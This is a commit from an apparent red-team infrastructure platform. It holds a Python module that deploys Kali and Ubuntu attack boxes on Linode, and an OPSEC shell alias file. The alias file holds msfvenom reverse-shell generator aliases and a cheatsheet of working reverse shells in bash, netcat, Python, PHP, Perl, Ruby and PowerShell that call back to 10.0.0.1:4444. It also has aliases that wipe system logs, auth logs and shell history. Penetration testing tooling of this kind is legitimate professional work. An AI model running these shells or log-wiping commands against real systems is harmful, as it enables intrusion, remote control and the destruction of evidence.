Initial public portfolio release

Sanitized version of red team infrastructure automation platform.
Operational content (implant pipelines, lures, credential capture)
replaced with documented stubs. Architecture and infrastructure
automation code intact.
This commit is contained in:
Operator
2026-06-23 16:12:14 -04:00
commit 98103466d8
239 changed files with 40012 additions and 0 deletions
+444
View File
@@ -0,0 +1,444 @@
#!/usr/bin/env python3
"""
Attack Box deployment module
Deploy hardened attack boxes for initial access, manual testing, and reconnaissance
"""
import os
import sys
import logging
import glob
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input,
archive_old_logs
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
from utils.name_generator import generate_attack_box_name
from utils.naming_utils import get_deployment_name_with_options, show_naming_relationship
def attack_box_menu():
"""Display the attack box deployment menu"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}ATTACK BOX DEPLOYMENT{COLORS['RESET']}")
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
print(f"1) Deploy Quick Recon Box {COLORS['GREEN']}*FAST*{COLORS['RESET']} {COLORS['GRAY']}(Kali + Basic Tools - ~2-3 min){COLORS['RESET']}")
print(f"2) Deploy Kali Attack Box {COLORS['GRAY']}(Full Tools & Setup - ~15-20 min){COLORS['RESET']}")
print(f"3) Deploy Custom Ubuntu Attack Box")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_quick_recon_box()
elif choice == "2":
deploy_kali_attack_box()
elif choice == "3":
deploy_ubuntu_attack_box()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
# Quick Recon Box now uses the regular attack box deployment with minimal settings
def gather_attack_box_parameters(attack_box_type="kali"):
"""Collect parameters specific to attack box deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}ATTACK BOX SETUP - {attack_box_type.upper()}{COLORS['RESET']}")
print(f"{COLORS['WHITE']}{'=' * (20 + len(attack_box_type))}{COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Attack box specific configuration
print(f"\n{COLORS['BLUE']}Attack Box Configuration{COLORS['RESET']}")
# Set deployment type
config['deployment_type'] = 'attack_box'
# Attack box type
config['attack_box_type'] = attack_box_type
# Attack box name with common naming options
config['attack_box_name'] = get_deployment_name_with_options(
deployment_type='attack_box',
deployment_id=config['deployment_id'],
prefix='a-'
)
# Attack box image mapping
if attack_box_type == "kali":
config['attack_box_image'] = "linode/kali"
elif attack_box_type == "ubuntu":
config['attack_box_image'] = "linode/ubuntu22.04"
else:
config['attack_box_image'] = "linode/ubuntu22.04" # Default fallback
# Instance sizing based on attack box type
print(f"\n{COLORS['GREEN']}Instance Size Selection:{COLORS['RESET']}")
print(f"1) Small (2 CPU, 4GB RAM) - Basic reconnaissance")
print(f"2) Medium (4 CPU, 8GB RAM) - Standard penetration testing")
print(f"3) Large (8 CPU, 16GB RAM) - Heavy exploitation/cracking")
print(f"4) XLarge (16 CPU, 32GB RAM) - Advanced research/development")
size_choice = input(f"Select instance size [2]: ").strip() or "2"
size_mapping = {
"1": {"type": "g6-standard-2", "name": "small"},
"2": {"type": "g6-standard-4", "name": "medium"},
"3": {"type": "g6-standard-8", "name": "large"},
"4": {"type": "g6-standard-16", "name": "xlarge"}
}
if size_choice in size_mapping:
config['instance_size'] = size_mapping[size_choice]['name']
if provider == "linode":
config['linode_instance_type'] = size_mapping[size_choice]['type']
else:
config['instance_size'] = "medium"
config['linode_instance_type'] = "g6-standard-4"
# SSH key generation using attack box name for consistency
ssh_key_path = generate_ssh_key(config['attack_box_name'])
if ssh_key_path:
config['ssh_key_path'] = ssh_key_path + ".pub"
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
else:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
# Additional tools selection
print(f"\n{COLORS['BLUE']}Additional Tools & Features:{COLORS['RESET']}")
# Custom domain for C2 comms (optional)
domain = input(f"Domain for attack box (optional, for C2 comms): ").strip()
if domain:
config['domain'] = domain
config['setup_domain'] = True
else:
config['setup_domain'] = False
# VPN setup
setup_vpn = input(f"Setup VPN server on attack box? [y/N]: ").strip().lower()
config['setup_vpn'] = setup_vpn in ['y', 'yes']
# Tor setup
setup_tor = input(f"Setup Tor proxy? [y/N]: ").strip().lower()
config['setup_tor'] = setup_tor in ['y', 'yes']
# Custom wordlists
custom_wordlists = input(f"Download custom wordlists? [y/N]: ").strip().lower()
config['custom_wordlists'] = custom_wordlists in ['y', 'yes']
# Set operator IP for security
config['operator_ip'] = get_public_ip()
if config['operator_ip']:
print(f"{COLORS['GREEN']}Detected operator IP: {config['operator_ip']}{COLORS['RESET']}")
# SSH after deploy
ssh_after = input(f"\nSSH to attack box after deployment? [Y/n]: ").strip().lower()
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
# Auto-teardown on failure option
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
# Enhanced OPSEC mode
opsec_mode = input(f"Enable enhanced OPSEC mode? (for sensitive operations) [y/N]: ").strip().lower()
config['enhanced_opsec'] = opsec_mode in ['y', 'yes']
if config['enhanced_opsec']:
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')")
print(f" • No 'trashpanda' references in files or aliases")
print(f" • Generic script names and comments")
print(f" • Minimal logging and history")
print(f" • No obvious pentesting tool signatures in configs")
config['work_dir'] = f"/root/{config['deployment_id']}"
config['tool_name'] = "toolkit"
config['project_name'] = config['deployment_id']
else:
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
config['work_dir'] = "/root/operator"
config['tool_name'] = "trashpanda"
config['project_name'] = "operator"
# Check for global auto-teardown flag
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
if global_auto_teardown:
config['auto_teardown_on_fail'] = True
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled globally - failed deployments will be cleaned up automatically{COLORS['RESET']}")
else:
auto_teardown = input(f"Auto-teardown on deployment failure? (for testing/overnight runs) [y/N]: ").strip().lower()
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
if config['auto_teardown_on_fail']:
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}")
else:
print(f"{COLORS['CYAN']}💡 Failed deployments will prompt for cleanup confirmation{COLORS['RESET']}")
# Set deployment type
config['deployment_type'] = f'{attack_box_type}_attack_box'
return config
def deploy_kali_attack_box():
"""Deploy Kali Linux attack box"""
config = gather_attack_box_parameters("kali")
if not config:
return
config['attack_box_image'] = 'linode/kali'
config['default_user'] = 'root'
print(f"\n{COLORS['GREEN']}Deploying Kali Linux attack box...{COLORS['RESET']}")
execute_attack_box_deployment(config)
def deploy_parrot_attack_box():
"""Deploy Parrot Security attack box"""
config = gather_attack_box_parameters("parrot")
if not config:
return
config['attack_box_image'] = 'linode/debian11' # Will install Parrot tools
config['default_user'] = 'root'
print(f"\n{COLORS['GREEN']}Deploying Parrot Security attack box...{COLORS['RESET']}")
execute_attack_box_deployment(config)
def deploy_ubuntu_attack_box():
"""Deploy custom Ubuntu attack box"""
config = gather_attack_box_parameters("ubuntu")
if not config:
return
config['attack_box_image'] = 'linode/ubuntu22.04'
config['default_user'] = 'root'
print(f"\n{COLORS['GREEN']}Deploying Ubuntu attack box...{COLORS['RESET']}")
execute_attack_box_deployment(config)
def deploy_quick_recon_box():
"""Deploy streamlined attack box focused on OPSEC and initial reconnaissance"""
config = gather_quick_recon_parameters()
if not config:
return
config['attack_box_image'] = 'linode/kali' # Kali Linux base
config['default_user'] = 'root'
config['deployment_type'] = 'quick_recon_box'
config['attack_box_type'] = 'quick_recon'
config['quick_deployment'] = True
config['enhanced_opsec'] = True # Always enable OPSEC
print(f"\n{COLORS['GREEN']}Deploying Quick Recon Box (minimal tools + OPSEC)...{COLORS['RESET']}")
execute_attack_box_deployment(config)
def gather_quick_recon_parameters():
"""Collect parameters for quick recon box deployment - streamlined"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}QUICK RECON BOX SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
print(f"{COLORS['CYAN']}Minimal deployment - basic tools + Tor + optional VPN{COLORS['RESET']}")
print(f"{COLORS['GRAY']}• Kali Linux base with core tools (nmap, nc, curl, dig, whois, tor){COLORS['RESET']}")
print(f"{COLORS['GRAY']}• Add whatever tools you need after deployment{COLORS['RESET']}")
print(f"{COLORS['GRAY']}• Fast deployment - under 5 minutes{COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"\nDeployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Quick recon specific configuration
config['deployment_type'] = 'quick_recon_box'
config['attack_box_type'] = 'quick_recon'
# Attack box name with recon prefix
config['attack_box_name'] = get_deployment_name_with_options(
deployment_type='quick_recon',
deployment_id=config['deployment_id'],
prefix='qr-'
)
# Force small instance for speed and cost
print(f"\n{COLORS['GREEN']}Instance: Small (2 CPU, 4GB RAM) - Optimized for recon{COLORS['RESET']}")
config['instance_size'] = "small"
if provider == "linode":
config['linode_instance_type'] = "g6-standard-2"
# SSH key generation
ssh_key_path = generate_ssh_key(config['attack_box_name'])
if ssh_key_path:
config['ssh_key_path'] = ssh_key_path + ".pub"
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
else:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
# Minimal OPSEC configuration
print(f"\n{COLORS['BLUE']}Quick OPSEC Configuration:{COLORS['RESET']}")
# Always enable Tor
config['setup_tor'] = True
print(f"✓ Tor proxy enabled (for anonymous operations)")
# Optional VPN
setup_vpn = input(f"Setup VPN server? [y/N]: ").strip().lower()
config['setup_vpn'] = setup_vpn in ['y', 'yes']
# No domain by default (keep minimal)
config['setup_domain'] = False
# Set operator IP for security
config['operator_ip'] = get_public_ip()
if config['operator_ip']:
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
# SSH after deploy
ssh_after = input(f"SSH after deployment? [Y/n]: ").strip().lower()
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
# Enhanced OPSEC (always enabled)
config['enhanced_opsec'] = True
config['work_dir'] = f"/root/{config['deployment_id']}"
config['tool_name'] = "toolkit"
config['project_name'] = config['deployment_id']
# Auto-teardown option
auto_teardown = input(f"Auto-teardown on failure? [y/N]: ").strip().lower()
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
# Set deployment flags
config['default_user'] = 'root'
config['attack_box_deployment'] = True
config['ssh_user'] = 'root'
return config
def deploy_windows_attack_box():
"""Deploy Windows attack box"""
print(f"\n{COLORS['YELLOW']}Windows attack box deployment coming soon...{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}This will include Cobalt Strike, Metasploit, and Windows-specific tools{COLORS['RESET']}")
wait_for_input()
def deploy_multiple_attack_boxes():
"""Deploy multiple attack boxes for large engagements"""
print(f"\n{COLORS['BLUE']}Multiple Attack Box Deployment{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}This will deploy multiple attack boxes for distributed operations{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Coming soon...{COLORS['RESET']}")
wait_for_input()
def execute_attack_box_deployment(config):
"""Execute attack box infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting attack box deployment...{COLORS['RESET']}")
# Set up logging (archiving is now handled globally)
log_file = setup_logging(config['deployment_id'], "attack_box_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Attack Box Name: {config['attack_box_name']}")
# Show naming relationship if attack box is named after another deployment
naming_info = show_naming_relationship(
config['attack_box_name'],
config['deployment_id'],
'attack_box'
)
if naming_info:
print(f" └─ {naming_info['relationship_text']}")
print(f" └─ {naming_info['purpose_text']}")
print(f"Provider: {config['provider']}")
print(f"Attack Box Type: {config['attack_box_type']}")
print(f"Instance Size: {config['instance_size']}")
if config.get('domain'):
print(f"Domain: {config['domain']}")
print(f"VPN Setup: {'Yes' if config['setup_vpn'] else 'No'}")
print(f"Tor Setup: {'Yes' if config['setup_tor'] else 'No'}")
# Show SSH key information
if config.get('ssh_key_path'):
ssh_key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '')
print(f"SSH Key: {ssh_key_name}")
print(f" └─ Use: ssh -i ~/.ssh/{ssh_key_name} root@<ip>")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with attack box deployment?{COLORS['RESET']}", default=True):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Set attack box deployment flag
config['attack_box_deployment'] = True
# Execute the actual deployment using the deployment engine
from utils.deployment_engine import deploy_infrastructure
success = deploy_infrastructure(config)
if success:
print(f"\n{COLORS['GREEN']}Attack box deployed successfully!{COLORS['RESET']}")
# Display credentials file location
credentials_file = f"logs/deployment_info_{config['deployment_id']}.txt"
if os.path.exists(credentials_file):
print(f"\n{COLORS['CYAN']}📁 Credentials saved to: {credentials_file}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}⚠️ Keep this file secure - it contains your root password!{COLORS['RESET']}")
print(f"\n{COLORS['CYAN']}Next Steps:{COLORS['RESET']}")
print(f"1. SSH to your attack box using the saved credentials")
print(f"2. Run initial security updates")
print(f"3. Configure VPN if enabled")
print(f"4. Begin reconnaissance")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}Attack box deployment failed.{COLORS['RESET']}")
wait_for_input()
if __name__ == "__main__":
attack_box_menu()
+36
View File
@@ -0,0 +1,36 @@
# Attack Box Configuration
# ========================
# Attack Box Setup Information
ATTACK_BOX_VERSION="1.0.0"
WORKSPACE_DIR="/root/operator"
SCRIPTS_DIR="/root/operator/tools/scripts"
TOOLS_DIR="/root/operator/tools"
# Available Commands
echo "Attack Box Commands:"
echo "==================="
echo "recon <target> - Run reconnaissance automation"
echo "portscan <target> - Run port scan automation"
echo "webenum <target> - Run web enumeration automation"
echo "attack-menu - Launch manual testing menu"
echo "operator - Change to main directory"
echo "mkoperator <name> - Create new engagement structure"
echo ""
echo "Workspace Structure:"
echo "==================="
echo "~/operator/tools/ - All security tools and scripts"
echo "~/operator/scans/ - All scan results organized by type"
echo "~/operator/loot/ - Extracted data and credentials"
echo "~/operator/targets/ - Target lists and reconnaissance"
echo "~/operator/notes/ - Manual notes and observations"
echo "~/operator/reports/ - Documentation and reporting"
echo "~/operator/exploits/ - Working exploits and POCs"
echo "~/operator/payloads/ - Custom payloads and shells"
echo "~/operator/wordlists/ - Custom and downloaded wordlists"
echo "~/operator/pcaps/ - Network captures and analysis"
echo ""
echo "Trashpanda-style Directory Structure:"
echo "====================================="
echo "The operator directory follows the exact structure as TrashPanda tool"
echo "with organized subdirectories for different scan types and data."
@@ -0,0 +1,462 @@
# OPSEC-Aware Shell Aliases for Attack Box
# Clean configuration without identifiable information
# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
alias ll='ls -alFh --color=auto'
alias la='ls -A --color=auto'
alias l='ls -CF --color=auto'
alias cls='clear'
alias clr='clear'
alias ..='cd ..'
alias ...='cd ../..'
alias ....='cd ../../..'
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
# File operations with safety
alias cp='cp -i'
alias mv='mv -i'
alias rm='rm -i'
# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
# Network checks
alias myip='curl -s ifconfig.me'
alias checkip='curl -s https://ipinfo.io/ip'
alias checkdns='cat /etc/resolv.conf'
alias ports='netstat -tulanp'
alias listen='lsof -i -P | grep LISTEN'
alias estab='lsof -i -P | grep ESTABLISHED'
# Process and connection monitoring
alias checkcon='ss -tupan | grep ESTABLISHED'
alias checklis='ss -tupan | grep LISTEN'
alias checkproc='ps auxf | grep -v grep | grep'
alias psg='ps aux | grep -v grep | grep -i'
alias pscpu='ps auxf | sort -nr -k 3'
alias psmem='ps auxf | sort -nr -k 4'
# Emergency and cleanup
alias panic='emergency-wipe.sh'
alias emergency-wipe='emergency-wipe.sh'
alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
alias clean='trash-cleanup.sh'
alias opsec='opsec-check.sh'
# Cleanup operations
alias wipe-free='sudo sfill -v /'
alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
alias shred-file='shred -vfz -n 3'
# Anonymity
alias anon-on='sudo systemctl start tor && . torsocks on'
alias anon-off='. torsocks off && sudo systemctl stop tor'
alias check-tor='curl -s https://check.torproject.org/api/ip'
# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
alias ops='cd ~/ops'
alias targets='cd ~/ops/targets'
alias loot='cd ~/ops/loot'
alias logs='cd ~/ops/logs'
alias reports='cd ~/ops/reports'
alias shells='cd ~/ops/shells'
alias mount='cd ~/ops/mount'
alias tools='cd ~/tools'
alias www='cd /var/www/html'
alias tmp='cd /tmp'
alias payloads='cd ~/ops/payloads'
alias wordlists='cd ~/tools/wordlists'
alias exploits='cd ~/ops/exploits'
# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
alias serve='python3 -m http.server'
alias serve80='sudo python3 -m http.server 80'
alias servephp='php -S 0.0.0.0:8080'
alias smbserv='impacket-smbserver share . -smb2support'
alias ftpserv='python3 -m pyftpdlib -p 21 -w'
# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
alias ncl='nc -nvlp'
alias ncu='nc -nvu'
alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
alias rlwrapl='rlwrap nc -nvlp'
# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
alias socks='function _socks() {
local config_name="$1"
local port="${2:-1080}"
if [ -z "$config_name" ]; then
echo "Usage: socks <ssh-config-name> [port]"
return 1
fi
# Kill existing proxy
lsof -ti:$port | xargs -r kill -9 2>/dev/null
# Start SSH SOCKS proxy
ssh -D $port -N -f "$config_name" || return 1
# Create temp profile
local temp_profile="/tmp/firefox-socks-$$"
mkdir -p "$temp_profile"
# Add proxy settings
cat > "$temp_profile/user.js" << EOF
user_pref("network.proxy.type", 1);
user_pref("network.proxy.socks", "localhost");
user_pref("network.proxy.socks_port", $port);
user_pref("network.proxy.socks_version", 5);
user_pref("network.proxy.socks_remote_dns", true);
EOF
# Use setsid to fully detach and preserve input
setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
echo "✓ Firefox launched with SOCKS proxy"
}; _socks'
# Enhanced stop function
alias socks-stop='function _socks_stop() {
local port="${1:-1080}"
echo -n "Stopping SOCKS proxy on port $port... "
lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
# Clean up temp profiles
rm -rf /tmp/firefox-socks-* 2>/dev/null
}; _socks_stop'
# Local port forwarding - Access remote service on local port
# Usage: ssh-local 8080 target.com 80 user@jumpbox
ssh-local() {
if [ $# -ne 4 ]; then
echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
return 1
fi
echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
ssh -N -L $1:$2:$3 $4
}
# Remote port forwarding - Expose local service to remote
# Usage: ssh-remote 8080 localhost 80 user@public-server
ssh-remote() {
if [ $# -ne 4 ]; then
echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
return 1
fi
echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
ssh -N -R $1:$2:$3 $4
}
# Dynamic SOCKS proxy
# Usage: ssh-socks 1080 user@target
ssh-socks() {
if [ $# -ne 2 ]; then
echo "Usage: ssh-socks <local-port> <ssh-server>"
echo "Example: ssh-socks 1080 user@target.com"
return 1
fi
echo "[*] Creating SOCKS proxy on port $1 via $2"
echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
ssh -N -D $1 $2
}
# Multi-hop SSH tunnel
# Usage: ssh-multihop target.internal jumpbox.com
ssh-multihop() {
if [ $# -ne 2 ]; then
echo "Usage: ssh-multihop <final-target> <jumpbox>"
echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
return 1
fi
echo "[*] Connecting to $1 via $2"
ssh -J $2 $1
}
# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
# Mount remote directory via SSHFS
# Usage: ssh-mount user@host:/path /local/mount
ssh-mount() {
if [ $# -ne 2 ]; then
echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
return 1
fi
mkdir -p $2
echo "[*] Mounting $1 to $2"
sshfs -o allow_other,default_permissions $1 $2
}
# Unmount SSHFS
# Usage: ssh-unmount /local/mount
ssh-unmount() {
if [ $# -ne 1 ]; then
echo "Usage: ssh-unmount <local-mount-point>"
return 1
fi
echo "[*] Unmounting $1"
fusermount -u $1
}
# Mount with specific SSH key
# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
ssh-mount-key() {
if [ $# -ne 3 ]; then
echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
return 1
fi
mkdir -p $2
echo "[*] Mounting $1 to $2 using key $3"
sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
}
# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
# Metasploit
alias msf='msfconsole -q'
alias msfup='msfupdate'
alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
# Nmap shortcuts
alias nmap-full='nmap -sC -sV -O -p- -T4'
alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
alias nmap-vuln='nmap -sV --script=vuln'
alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
# Tool updates
alias update-tools='update-all-tools.sh'
alias update-searchsploit='searchsploit -u'
alias update-nmap-scripts='sudo nmap --script-updatedb'
# Quick tool access
alias kerb='kerbrute'
alias responder='sudo responder -I eth0 -wFv'
alias crack='crackmapexec'
alias evil='evil-winrm -i'
alias bloodhound-start='sudo neo4j start && bloodhound'
# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
alias b64d='base64 -d'
alias b64e='base64 -w 0'
alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
alias hexdump='od -A x -t x1z -v'
alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
alias msfpayloads='msfvenom -l payloads'
alias msfencoders='msfvenom -l encoders'
alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
alias rockyou='locate rockyou.txt | head -1'
alias seclists='cd ~/tools/wordlists/SecLists'
alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
alias submedium='locate subdomains-top1million-110000.txt | head -1'
# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
alias pc='proxychains4 -q'
alias pcnmap='proxychains4 -q nmap -sT -Pn'
# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
alias chisel-server='chisel server -p 8000 --reverse'
alias chisel-client='chisel client $1:8000 R:socks'
# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
# Extract various archive types
extract() {
if [ -f $1 ]; then
case $1 in
*.tar.bz2) tar xjf $1 ;;
*.tar.gz) tar xzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xf $1 ;;
*.tbz2) tar xjf $1 ;;
*.tgz) tar xzf $1 ;;
*.zip) unzip $1 ;;
*.Z) uncompress $1;;
*.7z) 7z x $1 ;;
*) echo "'$1' cannot be extracted" ;;
esac
else
echo "'$1' is not a valid file"
fi
}
# Create backup of file
backup() {
cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
}
# Quick nmap scans
quickscan() {
echo "[*] Quick scan of $1"
nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
}
fullscan() {
echo "[*] Full scan of $1"
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
}
udpscan() {
echo "[*] UDP scan of $1"
sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
}
# Reverse shell cheatsheet
revshells() {
echo "===== Reverse Shell Cheatsheet ====="
echo "Bash:"
echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
echo ""
echo "Bash (alternative):"
echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
echo ""
echo "Netcat:"
echo " nc -e /bin/bash 10.0.0.1 4444"
echo " nc -c bash 10.0.0.1 4444"
echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
echo ""
echo "Python:"
echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
echo ""
echo "Python3:"
echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
echo ""
echo "PHP:"
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
echo ""
echo "Perl:"
echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
echo ""
echo "Ruby:"
echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
echo ""
echo "PowerShell:"
echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
}
# Upgrade shell
upgradeshell() {
echo "===== Shell Upgrade Commands ====="
echo "Python:"
echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'"
echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
echo ""
echo "Script:"
echo " script -q /dev/null -c bash"
echo ""
echo "Then:"
echo " export TERM=xterm"
echo " export SHELL=bash"
echo " stty rows 24 cols 80"
echo ""
echo "Background with Ctrl+Z, then:"
echo " stty raw -echo;fg"
echo ""
echo "For zsh shell:"
echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
}
# Quick HTTP server with upload capability
upload_server() {
echo "Starting upload server on port 8080..."
